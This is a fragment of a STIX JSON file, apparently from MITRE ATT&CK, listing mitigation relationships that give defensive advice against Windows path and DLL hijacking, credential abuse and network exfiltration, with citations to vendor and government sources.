                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."
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                    "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf",
                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
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                    "source_name": "Executable Installers are Vulnerable",
                    "url": "https://seclists.org/fulldisclosure/2015/Dec/34",
                    "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."
                }
            ],
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                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                }
            ],
            "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses.(Citation: Powersploit)",
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            "modified": "2020-09-16T19:07:48.828Z",
            "created": "2020-03-13T11:42:14.585Z"
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            "id": "relationship--ca04cce0-2f47-4c73-956f-808573b62903",
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            "modified": "2020-09-17T19:05:23.996Z",
            "created": "2020-03-13T13:51:58.682Z"
        },
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            "object_marking_refs": [
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            ],
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            "target_ref": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b",
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            "id": "relationship--2d0b7e52-9c7a-47dd-ab12-4dc6942f49f1",
            "external_references": [
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft CreateProcess"
                },
                {
                    "source_name": "Microsoft Dynamic-Link Library Security",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016."
                },
                {
                    "source_name": "Vulnerability and Exploit Detector",
                    "url": "https://skanthak.homepage.t-online.de/sentinel.html",
                    "description": "Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017."
                }
            ],
            "description": "Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)",
            "type": "relationship",
            "modified": "2020-09-17T19:05:23.998Z",
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            "id": "relationship--b7a27a94-f036-4a0b-a96c-aa7bb1c7311f",
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                {
                    "source_name": "SANS Application Whitelisting",
                    "url": "https://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J.. (2014, November 18). Application Whitelisting:  Panacea or Propaganda?. Retrieved November 18, 2014."
                },
                {
                    "source_name": "Microsoft Windows Defender Application Control",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control",
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Microsoft Application Lockdown",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)?redirectedfrom=MSDN",
                    "description": "Corio, C., & Sayana, D. P.. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014."
                },
                {
                    "source_name": "Microsoft Using Software Restriction ",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/ee791851(v=ws.11)?redirectedfrom=MSDN",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016."
                }
            ],
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                    "url": "https://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J.. (2014, November 18). Application Whitelisting:  Panacea or Propaganda?. Retrieved November 18, 2014."
                },
                {
                    "source_name": "Microsoft Windows Defender Application Control",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control",
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Microsoft Application Lockdown",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)?redirectedfrom=MSDN",
                    "description": "Corio, C., & Sayana, D. P.. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014."
                },
                {
                    "source_name": "Microsoft Using Software Restriction ",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/ee791851(v=ws.11)?redirectedfrom=MSDN",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016."
                }
            ],
            "description": "Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path interception by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.(Citation: SANS Application Whitelisting)(Citation: Microsoft Windows Defender Application Control)(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker)(Citation: Microsoft Application Lockdown)(Citation: Microsoft Using Software Restriction )",
            "type": "relationship",
            "modified": "2020-09-16T16:56:34.889Z",
            "created": "2020-03-13T14:10:43.585Z"
        },
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            "external_references": [
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft CreateProcess"
                },
                {
                    "source_name": "Microsoft Dynamic-Link Library Security",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016."
                },
                {
                    "source_name": "Vulnerability and Exploit Detector",
                    "url": "https://skanthak.homepage.t-online.de/sentinel.html",
                    "description": "Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017."
                }
            ],
            "description": "Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)",
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            "relationship_type": "mitigates",
            "id": "relationship--6a3e8d7c-fdb3-4249-9f4e-7825e253bbfd",
            "description": "Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\\Windows\\</code>, to reduce places where malicious files could be placed for execution. Require that all executables be placed in write-protected directories.",
            "type": "relationship",
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            "relationship_type": "mitigates",
            "id": "relationship--0f955c85-17f5-46cf-bf5c-eece3b6c08ca",
            "external_references": [
                {
                    "source_name": "SANS Application Whitelisting",
                    "url": "https://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J.. (2014, November 18). Application Whitelisting:  Panacea or Propaganda?. Retrieved November 18, 2014."
                },
                {
                    "source_name": "Microsoft Windows Defender Application Control",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control",
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Microsoft Application Lockdown",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)?redirectedfrom=MSDN",
                    "description": "Corio, C., & Sayana, D. P.. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014."
                },
                {
                    "source_name": "Microsoft Using Software Restriction ",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/ee791851(v=ws.11)?redirectedfrom=MSDN",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016."
                }
            ],
            "description": "Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path interception by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.(Citation: SANS Application Whitelisting)(Citation: Microsoft Windows Defender Application Control)(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker)(Citation: Microsoft Application Lockdown)(Citation: Microsoft Using Software Restriction )",
            "type": "relationship",
            "modified": "2020-09-17T19:03:35.422Z",
            "created": "2020-03-13T17:48:59.197Z"
        },
        {
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            "relationship_type": "mitigates",
            "id": "relationship--ae13555e-3275-43c5-b388-59478160d01b",
            "external_references": [
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft CreateProcess"
                },
                {
                    "source_name": "Microsoft Dynamic-Link Library Security",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016."
                },
                {
                    "source_name": "Vulnerability and Exploit Detector",
                    "url": "https://skanthak.homepage.t-online.de/sentinel.html",
                    "description": "Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017."
                }
            ],
            "description": "Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)",
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            ],
            "source_ref": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "relationship_type": "subtechnique-of",
            "id": "relationship--d0e5d834-338b-4c5f-968a-f9f477bc7b9f",
            "type": "relationship",
            "modified": "2020-03-13T17:48:59.225Z",
            "created": "2020-03-13T17:48:59.225Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "relationship_type": "mitigates",
            "id": "relationship--92764952-45ad-4cfc-a426-c6baefc9974c",
            "external_references": [
                {
                    "source_name": "Microsoft More information about DLL",
                    "url": "https://msrc-blog.microsoft.com/2010/08/23/more-information-about-the-dll-preloading-remote-attack-vector/",
                    "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014."
                },
                {
                    "source_name": "Microsoft Dynamic Link Library Search Order",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN",
                    "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014."
                }
            ],
            "description": "Disallow loading of remote DLLs. This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+.\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user's home directory)\n\nThe Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode</code>(Citation: Microsoft More information about DLL)(Citation: Microsoft Dynamic Link Library Search Order)",
            "type": "relationship",
            "modified": "2021-04-26T18:37:04.132Z",
            "created": "2020-03-13T18:11:08.483Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "relationship_type": "mitigates",
            "id": "relationship--22ce2c93-ecd6-4627-b3f0-6f7476754c79",
            "description": "Adversaries may use new DLLs to execute this technique. Identify and block potentially malicious software executed through search order hijacking by using application control solutions capable of blocking DLLs loaded by legitimate software.",
            "type": "relationship",
            "modified": "2021-04-26T18:37:04.089Z",
            "created": "2020-03-13T18:11:08.487Z"
        },
        {
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            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "relationship_type": "mitigates",
            "id": "relationship--b673ba9b-3eb4-42fd-976d-62fc8d121cc3",
            "external_references": [
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                },
                {
                    "source_name": "Microsoft Sxstrace",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/sxstrace",
                    "description": "Gerend, J. et al.. (2017, October 16). sxstrace. Retrieved April 26, 2021."
                }
            ],
            "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.(Citation: Powersploit)\n\nUse the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-by-side problems in software.(Citation: Microsoft Sxstrace)",
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            ],
            "source_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "relationship_type": "subtechnique-of",
            "id": "relationship--ccdff6e8-75ea-4386-ab0f-435ac35ccc61",
            "type": "relationship",
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            "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "relationship_type": "mitigates",
            "id": "relationship--1c47aa23-d267-49f3-9faf-c45b6de0ad6e",
            "description": "Update software regularly to include patches that fix DLL side-loading vulnerabilities.",
            "type": "relationship",
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            ],
            "source_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "relationship_type": "subtechnique-of",
            "id": "relationship--81dade3f-217d-41b8-8f70-b8695fc1d3f7",
            "type": "relationship",
            "modified": "2020-03-13T19:41:38.021Z",
            "created": "2020-03-13T19:41:38.021Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "relationship_type": "mitigates",
            "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located at <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: Enumerate administrator accounts on elevation.(Citation: UCF STIG Elevation Account Enumeration)",
            "id": "relationship--13363d50-e3cc-4e6c-906a-47df844b8694",
            "external_references": [
                {
                    "url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077",
                    "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.",
                    "source_name": "UCF STIG Elevation Account Enumeration"
                }
            ],
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            "modified": "2021-04-13T21:39:08.794Z",
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            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "relationship_type": "mitigates",
            "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located at <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: Enumerate administrator accounts on elevation.(Citation: UCF STIG Elevation Account Enumeration)",
            "id": "relationship--9ef08a26-d881-4a36-952b-c07808093c6b",
            "external_references": [
                {
                    "url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077",
                    "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.",
                    "source_name": "UCF STIG Elevation Account Enumeration"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-26T13:42:34.667Z",
            "created": "2020-03-13T19:55:35.970Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825",
            "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
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            "id": "relationship--c5589abe-78a2-4d41-8926-33aa3fc3337b",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d",
            "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
            "relationship_type": "subtechnique-of",
            "id": "relationship--33d1d2c7-fe6e-43c0-a78a-40ec218d0895",
            "type": "relationship",
            "modified": "2020-03-13T20:12:41.082Z",
            "created": "2020-03-13T20:12:41.082Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "relationship--cb3b9d54-ba89-4af4-8724-3ffde36d101c",
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            "relationship_type": "mitigates",
            "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.",
            "id": "relationship--a45378ad-7f38-47d3-87e1-a3133b29b89b",
            "type": "relationship",
            "modified": "2020-03-29T22:36:26.113Z",
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        {
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            "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
            "relationship_type": "mitigates",
            "description": "Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs.",
            "id": "relationship--45912a00-141c-45ec-afb6-2ac272764c14",
            "type": "relationship",
            "modified": "2020-09-16T19:42:11.980Z",
            "created": "2020-03-13T20:21:54.880Z"
        },
        {
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            "relationship_type": "mitigates",
            "description": "Audit domain account permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Limit credential overlap across systems to prevent access if account credentials are obtained.",
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        {
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            ],
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            "id": "relationship--9af1f7b6-d914-4916-9fee-e8ca0e9c8109",
            "type": "relationship",
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            "created": "2020-03-13T20:21:54.906Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
            "relationship_type": "mitigates",
            "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.",
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            ],
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            "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
            "relationship_type": "mitigates",
            "description": "Audit local accounts permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should check if new local accounts are created that have not be authorized. Implementing LAPS may help prevent reuse of local administrator credentials across a domain.(Citation: Microsoft Remote Use of Local)",
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                {
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "source_name": "TechNet Credential Theft"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx",
                    "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.",
                    "source_name": "TechNet Least Privilege"
                },
                {
                    "source_name": "Microsoft Remote Use of Local",
                    "url": "https://blogs.technet.microsoft.com/secguide/2018/12/10/remote-use-of-local-accounts-laps-changes-everything/",
                    "description": "Margosis, A.. (2018, December 10). Remote Use of Local Accounts: LAPS Changes Everything. Retrieved March 13, 2020."
                }
            ],
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            "modified": "2021-04-05T12:51:00.780Z",
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        },
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            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
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            "id": "relationship--a1a39cf1-dd69-4110-beac-77bf7acd0c62",
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            "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
            "relationship_type": "subtechnique-of",
            "id": "relationship--26d64c06-c277-473d-94e8-e9990b6adc8e",
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            "relationship_type": "mitigates",
            "description": "Limit or restrict program execution using anti-virus software. On MacOS, allowlist programs that are allowed to have the plist tag. All other programs should be considered suspicious.",
            "id": "relationship--1279ae2b-fb00-4980-a5cc-9a802ad2901d",
            "type": "relationship",
            "modified": "2020-06-20T20:11:42.900Z",
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            "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
            "relationship_type": "mitigates",
            "description": "Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)",
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            "external_references": [
                {
                    "url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks",
                    "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.",
                    "source_name": "InsiderThreat NTFS EA Oct 2017"
                }
            ],
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            ],
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            "modified": "2020-03-13T20:33:00.338Z",
            "created": "2020-03-13T20:33:00.338Z"
        },
        {
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            ],
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            "description": "Ensure that cloud accounts, particularly privileged accounts, have complex, unique passwords across all systems on the network. Passwords and access keys should be rotated regularly. This limits the amount of time credentials can be used to access resources if a credential is compromised without your knowledge. Cloud service providers may track access key age to help audit and identify keys that may need to be rotated.(Citation: AWS - IAM Console Best Practices)",
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            "external_references": [
                {
                    "source_name": "AWS - IAM Console Best Practices",
                    "url": "https://aws.amazon.com/blogs/security/newly-updated-features-in-the-aws-iam-console-help-you-adhere-to-iam-best-practices/",
                    "description": "Moncur, Rob. (2020, July 5). New Information in the AWS IAM Console Helps You Follow IAM Best Practices. Retrieved August 4, 2020."
                }
            ],
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            "relationship_type": "mitigates",
            "description": "Review privileged cloud account permission levels routinely to look for those that could allow an adversary to gain wide access.(Citation: TechNet Credential Theft)(Citation: TechNet Least Privilege) These reviews should also check if new privileged cloud accounts have been created that were not authorized.",
            "id": "relationship--4dbb52bd-9ecf-4c61-91b2-9787860f737c",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "source_name": "TechNet Credential Theft"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx",
                    "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.",
                    "source_name": "TechNet Least Privilege"
                }
            ],
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        {
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            ],
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            "id": "relationship--1bccb381-1d71-4c9a-8785-2ada562234f2",
            "type": "relationship",
            "modified": "2020-03-13T20:36:57.505Z",
            "created": "2020-03-13T20:36:57.505Z"
        },
        {
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            "target_ref": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d",
            "relationship_type": "mitigates",
            "description": "Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet)",
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                {
                    "description": "US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A",
                    "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet"
                }
            ],
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        {
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            ],
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            "type": "relationship",
            "modified": "2020-03-13T21:13:10.630Z",
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        {
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            ],
            "source_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0",
            "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
            "relationship_type": "subtechnique-of",
            "id": "relationship--e128847e-b3ae-420a-b46f-cb9db88f2cf4",
            "type": "relationship",
            "modified": "2020-03-13T21:14:58.418Z",
            "created": "2020-03-13T21:14:58.418Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "relationship_type": "mitigates",
            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports for that particular network segment.",
            "id": "relationship--840fc319-2583-4a2b-8363-1a7e3fa33157",
            "type": "relationship",
            "modified": "2020-03-26T22:02:25.389Z",
            "created": "2020-03-14T18:18:32.774Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
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            "relationship_type": "mitigates",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. ",
            "id": "relationship--78b31fa7-10ef-4c28-888e-71da978e9e81",
            "type": "relationship",
            "modified": "2020-10-21T16:35:45.749Z",
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            "id": "relationship--c9f53392-065d-4573-a08a-37bc3d24d3e5",
            "type": "relationship",
            "modified": "2020-10-21T16:26:35.297Z",
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            "description": "Consider filtering DNS requests to unknown, untrusted, or known bad domains and resources. Resolving DNS requests with on-premise/proxy servers may also disrupt adversary attempts to conceal data within DNS packets. ",
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            "type": "relationship",
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            "id": "relationship--670f37e1-8de3-441e-bc09-ff95c09ee14d",
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            "relationship_type": "mitigates",
            "description": "Enabled features, such as Protected Process Light (PPL), for LSA.(Citation: Microsoft LSA)",
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            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.",
                    "source_name": "Microsoft LSA"
                }
            ],
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            "id": "relationship--dafa1584-bdd9-4c46-be07-2d002a529948",
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                {
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "source_name": "TechNet Credential Theft"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx",
